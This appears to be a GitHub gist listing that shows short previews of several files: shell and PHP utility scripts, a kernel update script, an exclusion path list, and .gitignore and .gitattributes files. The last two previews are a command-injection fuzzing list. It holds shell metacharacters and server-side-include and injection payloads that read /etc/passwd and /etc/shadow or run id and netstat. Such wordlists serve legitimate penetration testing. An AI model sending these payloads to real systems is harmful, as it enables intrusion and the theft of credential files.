This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# File to fix. | |
MAKEFILE="Makefile" | |
# Check if the Makefile exists. | |
if [[ ! -f "$MAKEFILE" ]]; then | |
echo "Error: $MAKEFILE not found in the current directory." | |
exit 1 | |
fi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
declare(strict_types=1); | |
error_reporting(E_ALL); | |
/** | |
* Recursively scans a directory for PHP files while ignoring the "vendor" folder. | |
* | |
* @param string $directory The directory to scan. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
declare(strict_types=1); | |
use PhpCsFixer\Finder; | |
use PhpCsFixer\Config; | |
static $rules = [ | |
'@PSR1' => true, | |
'@PSR2' => true, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* 'composer dump-autoload', | |
'optimize:clear', | |
'queue:restart', | |
'clear-compiled', | |
'session:clear', | |
'tests-storage:clear', | |
'log:clear', | |
'event:clear', |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Update Linux Kernel | |
# Version: 2.0.0.2 | |
# Description: Script to download, config, compile, and install Linux kernel manually. | |
# Requirements: Slackware Linux, x86_64 architecture, root privileges. | |
# Usage: sudo ./update_linux_kernel.sh [<kernel_version>] | |
# Enable strict mode: Abort on errors, unset variables, and pipe failures. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/dev/ | |
/lost+found/ | |
/proc/ | |
/mnt/ | |
/media/ | |
/var/cache/nscd/hosts | |
/var/cache/nscd/passwd | |
/media/user/ | |
/var/cache/nscd/group | |
/root/.cache/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
##### Windows | |
# Windows thumbnail cache files | |
Thumbs.db | |
Thumbs.db:encryptable | |
ehthumbs.db | |
ehthumbs_vista.db | |
# Dump file | |
*.stackdump |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
* text=auto | |
###### Git | |
.gitattributes text | |
.gitignore text | |
.gitconfig text | |
.gitmodules text | |
##### Windows | |
*.bat text eol=crlf |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
` | |
|| | |
| | |
; | |
' | |
'" | |
" | |
"' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!--#exec%20cmd="/bin/cat%20/etc/passwd"--> | |
<!--#exec%20cmd="/bin/cat%20/etc/shadow"--> | |
<!--#exec%20cmd="/usr/bin/id;--> | |
<!--#exec%20cmd="/usr/bin/id;--> | |
/index.html|id| | |
;id; | |
;id | |
;netstat -a; | |
;system('cat%20/etc/passwd') | |
;id; |
NewerOlder